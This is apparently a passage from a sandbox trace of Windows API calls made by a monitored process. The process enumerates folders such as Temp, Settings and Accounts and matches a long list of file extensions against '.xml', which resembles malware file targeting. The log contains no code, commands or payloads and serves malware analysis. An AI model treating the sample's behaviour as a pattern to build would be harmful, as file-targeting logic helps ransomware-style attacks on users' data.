	[0182.094] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1
	[0182.094] lstrlenW (lpString=".pm") returned 3
	[0182.094] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1
	[0182.094] lstrlenW (lpString=".png") returned 4
	[0182.094] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1
	[0182.094] lstrlenW (lpString=".pnm") returned 4
	[0182.094] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1
	[0182.094] lstrlenW (lpString=".pot") returned 4
	[0182.094] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1
	[0182.094] lstrlenW (lpString=".potm") returned 5
	[0182.094] lstrcmpiW (lpString1=".potm", lpString2="s.xml") returned -1
	[0182.094] lstrlenW (lpString=".potx") returned 5
	[0182.094] lstrcmpiW (lpString1=".potx", lpString2="s.xml") returned -1
	[0182.094] lstrlenW (lpString=".ppa") returned 4
	[0182.094] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1
	[0182.094] lstrlenW (lpString=".ppam") returned 5
	[0182.094] lstrcmpiW (lpString1=".ppam", lpString2="s.xml") returned -1
	[0182.094] lstrlenW (lpString=".ppm") returned 4
	[0182.094] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1
	[0182.094] lstrlenW (lpString=".pps") returned 4
	[0182.094] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1
	[0182.094] lstrlenW (lpString=".ppsm") returned 5
	[0182.094] lstrcmpiW (lpString1=".ppsm", lpString2="s.xml") returned -1
	[0182.094] lstrlenW (lpString=".ppt") returned 4
	[0182.094] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0182.094] lstrlenW (lpString=".pptm") returned 5
	[0182.094] lstrcmpiW (lpString1=".pptm", lpString2="s.xml") returned -1
	[0182.094] lstrlenW (lpString=".pptx") returned 5
	[0182.094] lstrcmpiW (lpString1=".pptx", lpString2="s.xml") returned -1
	[0182.094] lstrlenW (lpString=".prn") returned 4
	[0182.094] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1
	[0182.094] lstrlenW (lpString=".ps") returned 3
	[0182.094] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1
	[0182.094] lstrlenW (lpString=".psb") returned 4
	[0182.094] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1
	[0182.095] lstrlenW (lpString=".psd") returned 4
	[0182.095] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1
	[0182.095] lstrlenW (lpString=".pst") returned 4
	[0182.095] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1
	[0182.095] lstrlenW (lpString=".ptx") returned 4
	[0182.095] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1
	[0182.095] lstrlenW (lpString=".pub") returned 4
	[0182.095] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1
	[0182.095] lstrlenW (lpString=".pwm") returned 4
	[0182.095] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1
	[0182.095] lstrlenW (lpString=".pxr") returned 4
	[0182.095] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1
	[0182.095] lstrlenW (lpString=".py") returned 3
	[0182.095] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1
	[0182.095] lstrlenW (lpString=".qt") returned 3
	[0182.095] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1
	[0182.095] lstrlenW (lpString=".r3d") returned 4
	[0182.095] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1
	[0182.095] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0182.095] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f44caa, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f44caa, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f44caa, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0182.096] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0182.096] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0
	[0182.096] FindClose (in: hFindFile=0x4140c58 | out: hFindFile=0x4140c58) returned 1
	[0182.096] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0182.096] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", cAlternateFileName="{B0B91~1")) returned 1
	[0182.096] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0182.096] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66020, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66020, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66020, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0182.096] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0182.096] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0
	[0182.096] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0182.096] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0182.096] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{c5dc3753-b6c8-4057-b396-bf13d769311c}", cAlternateFileName="{C5DC3~1")) returned 1
	[0182.097] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0182.097] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0182.097] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0182.097] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0
	[0182.097] FindClose (in: hFindFile=0x4140ed8 | out: hFindFile=0x4140ed8) returned 1
	[0182.097] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0182.097] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b2205b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{c8a326e4-f518-4f14-b543-97a57e1a975e}", cAlternateFileName="{C8A32~1")) returned 1
	[0182.895] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0182.895] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919d3d65, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x919d3d65, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x919d3d65, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x4bf13, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0182.895] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0182.895] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0
	[0182.895] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0182.895] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0182.896] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{ee4aac98-c174-4941-82b1-d121e493e4fb}", cAlternateFileName="{EE4AA~1")) returned 1
	[0182.898] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0182.898] FindNextFileW (in: hFindFile=0x4140dd8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f3fdc3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f3fdc3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f3fdc3, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0182.899] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0182.899] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0
	[0182.899] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0182.899] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0182.899] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{f11899f2-71ec-4621-9997-e17ae2f6eb26}", cAlternateFileName="{F1189~1")) returned 1
	[0182.900] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0182.900] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1df76, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1df76, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f1df76, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0182.900] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0182.900] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0
	[0182.900] FindClose (in: hFindFile=0x4140d98 | out: hFindFile=0x4140d98) returned 1
	[0182.900] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0182.900] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 1
	[0182.905] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0182.905] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55ce72cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55ce72cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55ce72cc, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0182.905] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0182.905] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0
	[0182.905] FindClose (in: hFindFile=0x4140e58 | out: hFindFile=0x4140e58) returned 1
	[0182.905] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0182.905] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 0
	[0182.905] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0182.905] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.186] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb79dd84e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb7a500e7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb7a500e7, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1
	[0183.347] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.347] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ae22f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xfd58d8c3, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xfd58d8c3, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows", cAlternateFileName="")) returned 0
	[0183.348] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0183.348] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0183.348] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f173b05, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b7d74b9, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2b7d74b9, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
	[0183.350] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0183.350] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f173b05, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b7d74b9, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2b7d74b9, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0
	[0183.350] FindClose (in: hFindFile=0x4140c58 | out: hFindFile=0x4140c58) returned 1
	[0183.350] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.350] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f068b0c, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x768c9439, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x768c9439, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Data", cAlternateFileName="")) returned 0
	[0183.350] FindClose (in: hFindFile=0x41405d8 | out: hFindFile=0x41405d8) returned 1
	[0183.350] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.353] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30e3b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings", cAlternateFileName="")) returned 1
	[0183.355] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.355] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Accounts", cAlternateFileName="")) returned 0
	[0183.355] FindClose (in: hFindFile=0x41405d8 | out: hFindFile=0x41405d8) returned 1
	[0183.355] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.355] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dcfea0a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1dcfea0a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmsRouter", cAlternateFileName="SMSROU~1")) returned 1
	[0183.356] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.356] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spectrum", cAlternateFileName="")) returned 1
	[0183.356] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.356] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech_OneCore", cAlternateFileName="SPEECH~1")) returned 1
	[0183.357] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.357] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcb4dcad0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xcb4dcad0, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Storage Health", cAlternateFileName="STORAG~1")) returned 1
	[0183.357] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
